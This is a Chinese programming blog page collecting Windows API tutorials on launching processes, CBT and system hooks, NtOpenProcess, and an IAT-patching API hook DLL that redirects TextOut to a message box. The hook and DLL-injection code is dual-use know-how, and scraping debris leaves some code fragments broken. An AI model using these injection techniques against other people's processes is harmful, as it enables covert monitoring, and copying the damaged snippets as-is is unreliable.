学习编程 - 第14页 | 雨律在线
分类 [ 学习编程 ] 下的全部文章


三个SDK函数 WinExecShellExecuteCreateProcess 实现调用其他程序的方法

三个SDK函数: WinExec, ShellExecute,CreateProcess 可以实现调用其他程序的要求,其中以WinExec最为简单,ShellExecute比WinExec灵活一些,CreateProcess最为复杂。

WinExec 两个参数,前一个指定路径,后一个指定显示方式。
ShellExecute 可以指定工作目录,并且还可以寻找文件的关联直接打开不用加载与文件关联的应用程序,ShellExecute还可以打开网页,启动相应的邮件关联发送邮件等等。
CreateProcess 一共有十个参数,不过大部分都可以用NULL代替,它可以指定进程的安全属性,继承信息,类的优先级等等。如果我们要得到足够多的关于新的进程的信息,控制新的进程的细节属性,若要达到这些目的,我们就需要使用CreateProcess函数了。

三个SDK函数( WinExec、ShellExec、CrateProcess )的语法:

WinExec

这个函数最简单,只有两个参数,原型如下:
UINT WinExec(
LPCSTR lpCmdLine, // 命令路径
UINT uCmdShow // 显示方式
);


使用方法如下:
WinExec("Notepad.exe", SW_SHOW); // 打开记事本
WinExec("D:Program FilesTestTest.exe",SW_SHOWMAXIMIZED); // 以最大化的方式打开Test.exe
需要注意的是若用 SW_SHOWMAXMIZED 方式去加载一个无最大化按钮的程序,譬如Neterm,Calc 等等,就不会出现正常的 窗体,但是已经被加到任务列表里了。

ShellExecute

原型如下:
HINSTANCE ShellExecute(
HWND hwnd, //父窗口句柄
LPCTSTR lpOperation, //操作, 打开方式 "edit","explore","open","find","print","NULL"
LPCTSTR lpFile, //文件名,前面可加路径
LPCTSTR lpParameters, //参数
LPCTSTR lpDirectory, //默认文件夹
INT nShowCmd //显示方式
);


使用方法如下:
ShellExecute(NULL,"open","C:Test.txt",NULL,NULL,SW_SHOWNORMAL); // 打开C:Test.txt 文件
ShellExecute(NULL, "open", "http://www.google.com", NULL, NULL, SW_SHOWNORMAL); // 打开网页www.google.com
ShellExecute(NULL,"explore", "D:C++",NULL,NULL,SW_SHOWNORMAL); // 打开目录D:C++
ShellExecute(NULL,"print","C:Test.txt",NULL,NULL, SW_HIDE); // 打印文件C:Test.txt
ShellExecute不支持定向输出。

CreateProcess

原型如下:
BOOL CreateProcess(
LPCTSTR lpApplicationName, //执行程序名
LPTSTR lpCommandLine, // 参数行
//下面两个参数描述了所创建的进程和线程的安全属性,如果为NULL则使用默认的安全属性
LPSECURITY_ATTRIBUTES lpProcessAttributes, // process security attributes
LPSECURITY_ATTRIBUTES lpThreadAttributes, // thread security attributes
BOOL bInheritHandles, // 继承标志
DWORD dwCreationFlags, // 创建标志
LPVOID lpEnvironment, // 环境变量
LPCTSTR lpCurrentDirectory, // 运行该进程的初始目录
LPSTARTUPINFO lpStartupInfo, // 用于在创建子进程时设置各种属性
LPPROCESS_INFORMATION lpProcessInformation //用于在进程创建后接受相关信息
);


使用方法如下:
PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si,0,sizeof(si));
si.cb=sizeof(si);
si.wShowWindow=SW_SHOW;
si.dwFlags=STARTF_USESHOWWINDOW;
bool fRet=CreateProcess("D:putty.exe",NULL,NULL,FALSE,NULL,NULL,NULL,NULL,&si,&pi);

可以看出,通过上面的几个不同的方法,都可以实现在应用程序中打开其他应用程序的目的,其中有些方法可能会麻烦一点,所以就需



窗体代码:

Private Sub Command1_Click()
Dim hInst As Long
Dim
Thread As Long

'Set up the CBT hook
hInst = GetWindowLong(Me.hWnd, GWL_HINSTANCE)
Thread = GetCurrentThreadId()
hHook = SetWindowsHookEx(WH_CBT,
AddressOf WinProc1, hInst, _
Thread)

'Display the message box
MsgBox "This message box has been positioned at (0,0)."
End Sub

Private Sub
Command2_Click()
Dim hInst As Long
Dim
Thread As Long

'Set up the CBT hook
hInst = GetWindowLong(Me.hWnd, GWL_HINSTANCE)
Thread = GetCurrentThreadId()
hHook = SetWindowsHookEx(WH_CBT,
AddressOf WinProc2, hInst, Thread)

'Display the message box
MsgBox "This message box is centered over Form1."
End Sub



模块代码:

Option Explicit

Type RECT
Left
As Long
Top As Long
Right As Long
Bottom As Long
End
Type

Public Declare Function UnhookWindowsHookEx Lib "user32" ( _
ByVal hHook As Long) As Long
Public Declare Function
GetWindowLong Lib "user32" Alias _
"GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) _
As Long
Public Declare Function
GetCurrentThreadId Lib "kernel32" () As Long
Public Declare Function
SetWindowsHookEx Lib "user32" Alias _
"SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, _
ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function
SetWindowPos Lib "user32" ( _
ByVal hwnd As Long, ByVal hWndInsertAfter As Long, _
ByVal x As Long, ByVal y As Long, ByVal cx As Long, _
ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function
GetWindowRect Lib "user32" (ByVal hwnd _
As Long, lpRect As RECT) As Long

Public Const
GWL_HINSTANCE = (-6)
Public Const SWP_NOSIZE = &H1
Public Const SWP_NOZORDER = &H4
Public Const SWP_NOACTIVATE = &H10
Public Const HCBT_ACTIVATE = 5
Public Const WH_CBT = 5

Public hHook As Long

Function
WinProc1(ByVal lMsg As Long, ByVal wParam As Long, _
ByVal lParam As Long) As Long

If
lMsg = HCBT_ACTIVATE Then
'Show the MsgBox at a fixed location (0,0)
SetWindowPos wParam, 0, 0, 0, 0, 0, _
SWP_NOSIZE
or SWP_NOZORDER or SWP_NOACTIVATE
'Release the CBT hook
UnhookWindowsHookEx hHook
or="#0000FF">End If
WinProc1 = False

End Function

Function
WinProc2(ByVal lMsg As Long, ByVal wParam As Long, _
ByVal lParam As Long) As Long

Dim
rectForm As RECT, rectMsg As RECT
Dim x As Long, y As Long

'On HCBT_ACTIVATE, show the MsgBox centered over Form1
If lMsg = HCBT_ACTIVATE Then
'Get the coordinates of the form and the message box so that
'you can determine where the center of the form is located
GetWindowRect Form1.hwnd, rectForm
GetWindowRect wParam, rectMsg
x = (rectForm.Left + (rectForm.Right - rectForm.Left) /
2) - _
((rectMsg.Right - rectMsg.Left) /
2)
y = (rectForm.Top + (rectForm.Bottom - rectForm.Top) /
2) - _
((rectMsg.Bottom - rectMsg.Top) /
2)
'Position the msgbox
SetWindowPos wParam, 0, x, y, 0, 0, _
SWP_NOSIZE
or SWP_NOZORDER or SWP_NOACTIVATE
'Release the CBT hook
UnhookWindowsHookEx hHook
End If
WinProc2 = False

End
Function




窗体代码:

Option Explicit
Private Declare Function timeKillEvent Lib "winmm.dll" (ByVal uID As Long) As Long
Private Declare Function
timeSetEvent Lib "winmm.dll" (ByVal uDelay As Long, ByVal uResolution As Long, ByVal lpFunction As Long, ByVal dwUser As Long, ByVal uFlags As Long) As Long
Dim
p As Long
Private Const
TIME_周期 As Long = 1
Private Const TIME_一次性 As Long = 0

Private Sub Form_DblClick()
timeKillEvent p
p =
0
End Sub

Private Sub
Form_Load()
p = timeSetEvent(
300000, 10, AddressOf TimeProc, 1, TIME_一次性)
Debug.Print timeGetTime
End Sub

Private Sub
Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
If p Then timeKillEvent p: p = 0: Cancel = True: Timer1.Enabled = True
End Sub

Private Sub
Timer1_Timer()
Timer1.Enabled =
False
Unload Me
End Sub
[/font]



模块代码:

Option Explicit
Public Declare Function timeGetTime Lib "winmm.dll" () As Long

Sub
TimeProc(ByVal uID As Long, ByVal uMsg As Long, ByVal dwUser As Long, ByVal dw1 As Long, ByVal dw2 As Long)
Debug.Print timeGetTime
End Sub



Option Explicit
'ProcessHandle 为输出 其余为输入
Private Declare Function NtOpenProcess Lib "ntdll.dll" ( _
ByRef ProcessHandle As Long, _
ByVal AccessMask As Long, _
ByRef ObjectAttributes As OBJECT_ATTRIBUTES, _
ByRef ClientId As CLIENT_ID) As Long
Private
Type OBJECT_ATTRIBUTES
Length
As Long
RootDirectory As Long
ObjectName As Long 'PUNICODE_STRING 的指针
Attributes As Long
SecurityDescriptor As Long
SecurityQualityOfService As Long
End
Type
Private Type CLIENT_ID
UniqueProcess
As Long
UniqueThread As Long
End
Type

Private Sub Form_Load()
Dim oa As OBJECT_ATTRIBUTES, ci As CLIENT_ID
oa.Length = Len(oa)
ci.UniqueProcess =
364 '需要打开的PID
ci.UniqueThread = 0
Dim ret As Long
MsgBox NtOpenProcess(ret, &H400, oa, ci)
MsgBox ret
End Sub




一、基本概念:
钩子
(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且
所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获
处理window消息或特定事件。
钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口
前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不
作处理而继续传递该消息,还可以强制结束消息的传递。

二、运行机制:
1、钩子链表和钩子子程:
每一个Hook都有一个与之相关联的指针列表,称之为钩子链表,由系统来维护。这个列表的指针指向指定的,应用
程序定义的,被Hook子程调用的回调函数,也就是该钩子的各个处理子程。当与指定的Hook类型关联的消息发生时,系
统就把这个消息传递到Hook子程。一些Hook子程可以只监视消息,或者修改消息,或者停止消息的前进,避免这些消息
传递到下一个Hook子程或者目的窗口。最近安装的钩子放在链的开始,而最早安装的钩子放在最后,也就是后加入的先
获得控制权。
Windows 并不要求钩子子程的卸载顺序一定得和安装顺序相反。每当有一个钩子被卸载,Windows 便释放其占
用的内存,并更新整个Hook链表。如果程序安装了钩子,但是在尚未卸载钩子之前就结束了,那么系统会自动为它做卸
载钩子的操作。
钩子子程是一个应用程序定义的回调函数
(CALLBACK Function),不能定义成某个类的成员函数,只能定义为普通的C
函数。用以监视系统或某一特定类型的事件,这些事件可以是与某一特定线程关联的,也可以是系统中所有线程的事
件。
钩子子程必须按照以下的语法:
LRESULT CALLBACK HookProc
(
int nCode,
WPARAM wParam,
LPARAM lParam
);
HookProc是应用程序定义的名字。
nCode参数是Hook代码,Hook子程使用这个参数来确定任务。这个参数的值依赖于Hook类型,每一种Hook都有自己的Hook
代码特征字符集。
wParam和lParam参数的值依赖于Hook代码,但是它们的典型值是包含了关于发送或者接收消息的信息。
2、钩子的安装与释放:
使用API函数SetWindowsHookEx
()把一个应用程序定义的钩子子程安装到钩子链表中。SetWindowsHookEx函数总是在
Hook链的开头安装Hook子程。当指定类型的Hook监视的事件发生时,系统就调用与这个Hook关联的Hook链的开头的Hook
子程。每一个Hook链中的Hook子程都决定是否把这个事件传递到下一个Hook子程。Hook子程传递事件到下一个Hook子程
需要调用CallNextHookEx函数。
HHOOK SetWindowsHookEx
(
     int idHook, // 钩子的类型,即它处理的消息类型
     HOOKPROC lpfn, // 钩子子程的地址指针。如果dwThreadId参数为0
// 或是一个由别的进程创建的线程的标识,
// lpfn必须指向DLL中的钩子子程。
// 除此以外,lpfn可以指向当前进程的一段钩子子程代码。
// 钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数。
     HINSTANCE hMod, // 应用程序实例的句柄。标识包含lpfn所指的子程的DLL。
// 如果dwThreadId 标识当前进程创建的一个线程,
// 而且子程代码位于当前进程,hMod必须为NULL。
// 可以很简单的设定其为本应用程序的实例句柄。
     DWORD dwThreadId // 与安装的钩子子程相关联的线程的标识符。
// 如果为0,钩子子程与所有的线程关联,即为全局钩子。
      );
  函数成功则返回钩子子程的句柄,失败返回NULL。
  以上所说的钩子子程与线程相关联是指在一钩子链表中发给该线程的消息同时发送给钩子子程,且被钩子子程先处
理。
在钩子子程中调用得到控制权的钩子函数在完成对消息的处理后,如果想要该消息继续传递,那么它必须调用另外
一个SDK中的API函数CallNextHookEx来传递它,以执行钩子链表所指的下一个钩子子程。这个函数成功时返回钩子链中
下一个钩子过程的返回值,返回值的类型依赖于钩子的类型。这个函数的原型如下:
LRESULT CallNextHookEx
(
1
hook
.txt
HHOOK hhk
;
int nCode;
WPARAM wParam;
LPARAM lParam;
);
hhk为当前钩子的句柄,由SetWindowsHookEx()函数返回。
NCode为传给钩子过程的事件代码。
wParam和lParam 分别是传给钩子子程的wParam值,其具体含义与钩子类型有关。
钩子函数也可以通过直接返回TRUE来丢弃该消息,并阻止该消息的传递。否则的话,其他安装了钩子的应用程序将
不会接收到钩子的通知而且还有可能产生不正确的结果。
钩子在使用完之后需要用UnHookWindowsHookEx
()卸载,否则会造成麻烦。释放钩子比较简单,
UnHookWindowsHookEx
()只有一个参数。函数原型如下:
UnHookWindowsHookEx
(
HHOOK hhk;
);
函数成功返回TRUE,否则返回FALSE。
3、一些运行机制:
在Win16环境中,DLL的全局数据对每个载入它的进程来说都是相同的;而在Win32环境中,情况却发生了变化,DLL
函数中的代码所创建的任何对象(包括变量)都归调用它的线程或进程所有。当进程在载入DLL时,操作系统自动把DLL
地址映射到该进程的私有空间,也就是进程的虚拟地址空间,而且也复制该DLL的全局数据的一份
拷贝到该进程空间。也
就是说每个进程所拥有的相同的DLL的全局数据,它们的名称相同,但其值却并不一定是相同的,而且是互不干涉的。
因此,在Win32环境下要想在多个进程中共享数据,就必须进行必要的设置。在访问同一个Dll的各进程之间共
享存储器是通过存储器映射文件技术实现的。也可以把这些需要共享的数据分离出来,放置在一个独立的数据段里,并
把该段的属性设置为共享。必须给这些变量赋初值,否则编译器会把没有赋初始值的变量放在一个叫未被初始化的数据
段中。
#pragma data_seg预处理指令用于设置共享数据段。例如:
#pragma data_seg("SharedDataName")
HHOOK hHook=NULL;
#pragma data_seg()
#pragma data_seg("SharedDataName")和#pragma data_seg()之间的所有变量 将被访问该Dll的所有进程看
到和共享。
当进程隐式或显式调用一个动态库里的函数时,系统都要把这个动态库映射到这个进程的虚拟地址空间里
(以下简称
"地址空间")。这使得DLL成为进程的一部分,以这个进程的身份执行,使用这个进程的堆栈。
4、系统钩子与线程钩子:
SetWindowsHookEx
()函数的最后一个参数决定了此钩子是系统钩子还是线程钩子。
线程勾子用于监视指定线程的事件消息。线程勾子一般在当前线程或者当前线程派生的线程内。
系统勾子监视系统中的所有线程的事件消息。因为系统勾子会影响系统中所有的应用程序,所以勾子函数必须放在
独立的动态链接库
(DLL) 中。系统自动将包含"钩子回调函数"的DLL映射到受钩子函数影响的所有进程的地址空间中,即
将这个DLL注入了那些进程。
几点说明:
1)如果对于同一事件(如鼠标消息)既安装了线程勾子又安装了系统勾子,那么系统会自动先调用线程勾子,然后
调用系统勾子。
2)对同一事件消息可安装多个勾子处理过程,这些勾子处理过程形成了勾子链。当前勾子处理结束后应把勾子信息
传递给下一个勾子函数。
3)勾子特别是系统勾子会消耗消息处理时间,降低系统性能。只有在必要的时候才安装勾子,在使用完毕后要及时
卸载。

三、钩子类型
每一种类型的Hook可以使应用程序能够监视不同类型的系统消息处理机制。下面描述所有可以利用的Hook类型。
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks
WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。系统在消息发送到接收窗口过程
之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。
WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传递到Hook子程。CWPRETSTRUCT结构包含了来自处理消
息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。
2
hook
.txt
2、WH_CBT Hook
在以下事件之前,系统都会调用WH_CBT Hook子程,这些事件包括:
1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;
2. 完成系统指令;
3. 来自系统消息队列中的移动鼠标,键盘事件;
4. 设置输入焦点事件;
5. 同步系统消息队列事件。
Hook子程的返回值确定系统是否允许或者防止这些操作中的一个。
3、WH_DEBUG Hook
在系统调用系统中与其他Hook关联的Hook子程之前,系统会调用WH_DEBUG Hook子程。你可以使用这个Hook来决定是
否允许系统调用与其他Hook关联的Hook子程。
4、WH_FOREGROUNDIDLE Hook
当应用程序的前台线程处于空闲状态时,可以使用WH_FOREGROUNDIDLE Hook执行低优先级的任务。当应用程序的前
台线程大概要变成空闲状态时,系统就会调用WH_FOREGROUNDIDLE Hook子程。
5、WH_GETMESSAGE Hook
应用程序使用WH_GETMESSAGE Hook来监视从GetMessage
or PeekMessage函数返回的消息。你可以使用
WH_GETMESSAGE Hook去监视鼠标和键盘输入,以及其他发送到消息队列中的消息。
6、WH_JOURNALPLAYBACK Hook
WH_JOURNALPLAYBACK Hook使应用程序可以插入消息到系统消息队列。可以使用这个Hook回放通过使用
WH_JOURNALRECORD Hook记录下来的连续的鼠标和键盘事件。只要WH_JOURNALPLAYBACK Hook已经安装,正常的鼠标和键
盘事件就是无效的。WH_JOURNALPLAYBACK Hook是全局Hook,它不能象线程特定Hook一样使用。WH_JOURNALPLAYBACK
Hook返回超时值,这个值告诉系统在处理来自回放Hook当前消息之前需要等待多长时间(毫秒)。这就使Hook可以控制
实时事件的回放。WH_JOURNALPLAYBACK是system
-wide local hooks,它們不會被注射到任何行程位址空間。
7、WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook用来监视和记录输入事件。典型的,可以使用这个Hook记录连续的鼠标和键盘事件,然后通
过使用WH_JOURNALPLAYBACK Hook来回放。WH_JOURNALRECORD Hook是全局Hook,它不能象线程特定Hook一样使用。
WH_JOURNALRECORD是system
-wide local hooks,它們不會被注射到任何行程位址空間。
8、WH_KEYBOARD Hook
在应用程序中,WH_KEYBOARD Hook用来监视WM_KEYDOWN
and WM_KEYUP消息,这些消息通过GetMessage or
PeekMessage function返回。可以使用这个Hook来监视输入到消息队列
中的键盘消息。
9、WH_KEYBOARD_LL Hook
WH_KEYBOARD_LL Hook监视输入到线程消息队列中的键盘消息。
10、WH_MOUSE Hook
WH_MOUSE Hook监视从GetMessage 或者 PeekMessage 函数返回的鼠标消息。使用这个Hook监视输入到消息队列中的
鼠标消息。
11、WH_MOUSE_LL Hook
WH_MOUSE_LL Hook监视输入到线程消息队列中的鼠标消息。
12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以监视菜单,滚动条,消息框,对话框消息并且发现用户使用
ALT
+TAB or ALT+ESC 组合键切换窗口。WH_MSGFILTER Hook只能监视传递到菜单,滚动条,消息框的消息,以及传递到
通过安装了Hook子程的应用程序建立的对话框的消息。WH_SYSMSGFILTER Hook监视所有应用程序消息。
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以在模式循环期间过滤消息,这等价于在主消息循环中过滤消
息。
通过调用CallMsgFilter function可以直接的调用WH_MSGFILTER Hook。通过使用这个函数,应用程序能够在模式循环期
间使用相同的代码去过滤消息,如同在主消息循环里一样。
13、WH_SHELL Hook
外壳应用程序可以使用WH_SHELL Hook去接收重要的通知。当外壳应用程序是激活的并且当顶层窗口建立或者销毁
时,系统调用WH_SHELL Hook子程。
3
hook
.txt
WH_SHELL 共有5钟情況:
1. 只要有个top-level、unowned 窗口被产生、起作用、或是被摧毁;
2. 当Taskbar需要重画某个按钮;
3. 当系统需要显示关于Taskbar的一个程序的最小化形式;
4. 当目前的键盘布局状态改变;
5. 当使用者按Ctrl+Esc去执行Task Manager(或相同级别的程序)。
按照惯例,外壳应用程序都不接收WH_SHELL消息。所以,在应用程序能够接收WH_SHELL消息之前,应用程序必须调
用SystemParametersInfo function注册它自己。

APIHOOK实例剖析
关于APIHOOK的基础知识有很多,如dll的相关知识、Hook的相关知识、系统进程与线程之间的联系等。具体可
以看我的另两篇文章:
"我的Dll(动态链接库)学习笔记" "我的Hook学习笔记"。:)下面进入这篇文章的重点,根据
APIHook源码进行APIHook的剖析。

一、APIHOOK之dll部分
//////////////////////////////// APIHook_Dll.cpp ////////////////////////////////////////
// rivershan写于2002.9.23 //
/////////////////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "APIHook_Dll.h"
#include <ImageHlp.h>
#include <tlhelp32.h>
#pragma comment(lib,"ImageHlp") //定义全局共享数据段
#pragma data_seg("Shared")
HMODULE hmodDll=NULL;
HHOOK hHook=NULL;
#pragma data_seg()
#pragma comment(linker,"/Section:Shared,rws") //设置全局共享数据段的属性
///////////////////////////////////// DllMain 函数 /////////////////////////////////////////
//dll的入口点
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//if(sHook)
case DLL_PROCESS_DETACH:
UnInstallHook();
break;
}
hmodDll=hModule;
return TRUE;
}
///////////////////////////////////// HookOneAPI 函数 /////////////////////////////////////////
//进行IAT转换的关键函数,其参数含义:
//pszCalleeModuleName:需要hook的模块名
//pfnOriginApiAddress:要替换的自己API函数的地址
//pfnDummyFuncAddress:需要hook的模块名的地址
//hModCallerModule:我们要查找的模块名称,如果没有被赋值,
// 将会被赋值为枚举的程序所有调用的模块
void WINAPI HookOneAPI(LPCTSTR pszCalleeModuleName,PROC pfnOriginApiAddress,
PROC pfnDummyFuncAddress,HMODULE hModCallerModule)
{
ULONG size;
//获取指向PE文件中的Import中IMAGE_DIRECTORY_DESCRIPTOR数组的指针
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR ont>)
4
hook
.txt
ImageDirectoryEntryToData
(hModCallerModule,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&size);
if (pImportDesc == NULL)
return;
//查找记录,看看有没有我们想要的DLL
for (;pImportDesc->Name;pImportDesc++)
{
LPSTR pszDllName = (LPSTR)((PBYTE)hModCallerModule+pImportDesc->Name);
if (lstrcmpiA(pszDllName,pszCalleeModuleName) == 0)
break;
}
if (pImportDesc->Name == NULL)
{
return;
}
//寻找我们想要的函数
PIMAGE_THUNK_DATA pThunk =
(
PIMAGE_THUNK_DATA)((PBYTE)hModCallerModule+pImportDesc->FirstThunk);//IAT
for (;pThunk->u1.Function;pThunk++)
{
//ppfn记录了与IAT表项相应的函数的地址
PROC * ppfn= (PROC *)&pThunk->u1.Function;
if (*ppfn == pfnOriginApiAddress)
{
//如果地址相同,也就是找到了我们想要的函数,进行改写,将其指向我们所定义的函数
WriteProcessMemory(GetCurrentProcess(),ppfn,&(pfnDummyFuncAddress),
sizeof(pfnDummyFuncAddress),NULL);
return;
}
}
}
//查找所挂钩的进程所应用的dll模块的
BOOL WINAPI HookAllAPI(LPCTSTR pszCalleeModuleName,PROC pfnOriginApiAddress,
PROC pfnDummyFuncAddress,HMODULE hModCallerModule)
{
if (pszCalleeModuleName == NULL)
{
return FALSE;
}
if (pfnOriginApiAddress == NULL)
{
return FALSE;
}
//如果没传进来要挂钩的模块名称,枚举被挂钩进程的所有引用的模块,
//并对这些模块进行传进来的相应函数名称的查找
if (hModCallerModule == NULL)
{
MEMORY_BASIC_INFORMATION mInfo;
HMODULE hModHookDLL;
HANDLE hSnapshot;
MODULEENTRY32 me = {sizeof(MODULEENTRY32)};
//MODULEENTRY32:描述了一个被指定进程所应用的模块的struct
VirtualQuery(HookOneAPI,&mInfo,sizeof(mInfo));
hModHookDLL=(HMODULE)mInfo.AllocationBase;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,0);
BOOL bOk = Module32First(hSnapshot,&me);
while (bOk ont color="#000080">)
{
if (me.hModule != hModHookDLL)
{
hModCallerModule = me.hModule;//赋值
//me.hModule:指向当前被挂钩进程的每一个模块
HookOneAPI(pszCalleeModuleName,pfnOriginApiAddress,
5
hook
.txt
pfnDummyFuncAddress
,hModCallerModule);
}
bOk = Module32Next(hSnapshot,&me);
}
return TRUE;
}
//如果传进来了,进行查找
else
{
HookOneAPI(pszCalleeModuleName,pfnOriginApiAddress,
pfnDummyFuncAddress,hModCallerModule);
return TRUE;
}
return FALSE;
}
//////////////////////////////////// UnhookAllAPIHooks 函数 /////////////////////////////////////
//通过使pfnDummyFuncAddress与pfnOriginApiAddress相等的方法,取消对IAT的修改
BOOL WINAPI UnhookAllAPIHooks(LPCTSTR pszCalleeModuleName,PROC pfnOriginApiAddress,
PROC pfnDummyFuncAddress,HMODULE hModCallerModule)
{
PROC temp;
temp = pfnOriginApiAddress;
pfnOriginApiAddress = pfnDummyFuncAddress;
pfnDummyFuncAddress = temp;
return HookAllAPI(pszCalleeModuleName,pfnOriginApiAddress,
pfnDummyFuncAddress,hModCallerModule);
}
////////////////////////////////// GetMsgProc 函数 ////////////////////////////////////////
//钩子子程。与其它钩子子程不大相同,没做什么有意义的事情,继续调用下一个钩子子程,形成循环
LRESULT CALLBACK GetMsgProc(int code,WPARAM wParam,LPARAM lParam)
{
return CallNextHookEx(hHook,code,wParam,lParam);
}
//////////////////////////////////// InstallHook 函数 /////////////////////////////////////
//安装或卸载钩子,BOOL IsHook参数是标志位
//对要钩哪个API函数进行初始化
//我们这里装的钩子类型是WH_GETMESSAGE
void __declspec(dllexport) WINAPI InstallHook(BOOL IsHook,DWORD dwThreadId)
{
if(IsHook)
{
hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)GetMsgProc,hmodDll,dwThreadId);
//GetProcAddress(GetModuleHandle("GDI32.dll"),"ExtTextOutA"):取得要钩的函数在所在dll中的地址
HookAllAPI("GDI32.dll",GetProcAddress(GetModuleHandle("GDI32.dll"),
"TextOutW"),(PROC)&H_TextOutW,NULL);
HookAllAPI("GDI32.dll",GetProcAddress(GetModuleHandle("GDI32.dll"),
"TextOutA"),(PROC)&H_TextOutA,NULL);
}
else
{
UnInstallHook();
UnhookAllAPIHooks("GDI32.dll",GetProcAddress(GetModuleHandle("GDI32.dll"),
"Te
xtOutW"
),(PROC)&H_TextOutW,NULL);
UnhookAllAPIHooks("GDI32.dll",GetProcAddress(GetModuleHandle("GDI32.dll"),
"TextOutA"),(PROC)&H_TextOutA,NULL);
}
}
///////////////////////////////////// UnInstallHook 函数 ////////////////////////////////////
//卸载钩子
BOOL WINAPI UnInstallHook()
{
UnhookWindowsHookEx(hHook);
return TRUE;
}
///////////////////////////////////// H_TextOutA 函数 /////////////////////////////////////////
//我们的替换函数,可以在里面实现我们所要做的功能
//这里我做的是显示一个对话框,指明是替换了哪个函数
BOOL WINAPI H_TextOutA(HDC hdc,int nXStart,int nYStart,LPCSTR lpString,int cbString)
{
6
hook
.txt
MessageBox
(NULL,"TextOutA","APIHook_Dll ---rivershan",MB_OK);
TextOutA(hdc,nXStart,nYStart,lpString,cbString);//返回原来的函数,以显示字符
return TRUE;
}
///////////////////////////////////// H_TextOutW 函数 /////////////////////////////////////////
//同上
BOOL WINAPI H_TextOutW(HDC hdc,int nXStart,int nYStart,LPCWSTR lpString,int cbString)
{
MessageBox(NULL,"TextOutW","APIHook_Dll ---rivershan",MB_OK);
TextOutW(hdc,nXStart,nYStart,lpString,cbString);//返回原来的函数,以显示字符
return TRUE;
}
*******************************************************************************
*******************************************************************************
//////////////////////////////// APIHook_Dll.h ////////////////////////////////////////
// rivershan写于2002.9.23 //
/////////////////////////////////////////////////////////////////////////////////////////
//dll头文件,用于声明函数
void __declspec(dllexport) WINAPI InstallHook(BOOL,DWORD);
BOOL WINAPI UnInstallHook();
LRESULT CALLBACK GetMsgProC(int code,WPARAM wParam,LPARAM lParam);
void WINAPI HookOneAPI(LPCTSTR pszCalleeModuleName,PROC pfnOriginApiAddress,
PROC pfnDummyFuncAddress,HMODULE hModCallerModule);
BOOL WINAPI HookAllAPI(LPCTSTR pszCalleeModuleName,PROC pfnOriginApiAddress,
PROC pfnDummyFuncAddress,HMODULE hModCallerModule);
BOOL WINAPI UnhookAllAPIHooks(LPCTSTR pszCalleeModuleName,PROC pfnOriginApiAddress,
PROC pfnDummyFuncAddress,HMODULE hModCallerModule);
BOOL WINAPI H_TextOutA(HDC, int, int, LPCSTR, int);
BOOL WINAPI H_TextOutW(HDC, int, int, LPC
WSTR
, int);
BOOL WINAPI H_ExtTextOutA(HDC, int, int, UINT, CONST RECT *,LPCSTR, UINT, CONST INT *);
BOOL WINAPI H_ExtTextOutW(HDC, int, int, UINT, CONST RECT *,LPCWSTR, UINT, CONST INT *);
*******************************************************************************
*******************************************************************************
;
APIHook_Dll之def文件
LIBRARY APIHook_Dll
.dll
EXPORT
InstallHook

二、APIHOOK之exe部分
//////////////////////////// APIHook_EXEDlg.cpp /////////////////////////////////////////
// rivershan写于2002.9.23 //
/////////////////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "APIHook_EXE.h"
#include "APIHook_EXEDlg.h"
#include "APIHook_Dll.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CAPIHook_EXEDlg dialog
CAPIHook_EXEDlg::CAPIHook_EXEDlg(CWnd* pParent /*=NULL*/)
:
CDialog(CAPIHook_EXEDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CAPIHook_EXEDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
7
hook
.txt
}
void CAPIHook_EXEDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAPIHook_EXEDlg)
// DDX_Control(pDX, IDC_EDIT1, m_Edit);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAPIHook_EXEDlg, CDialog)
//{{AFX_MSG_MAP(CAPIHook_EXEDlg)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BUTTON_OUT, OnButtonOut)
ON_BN_CLICKED(IDC_BUTTON_BEGIN, OnButtonBegin)
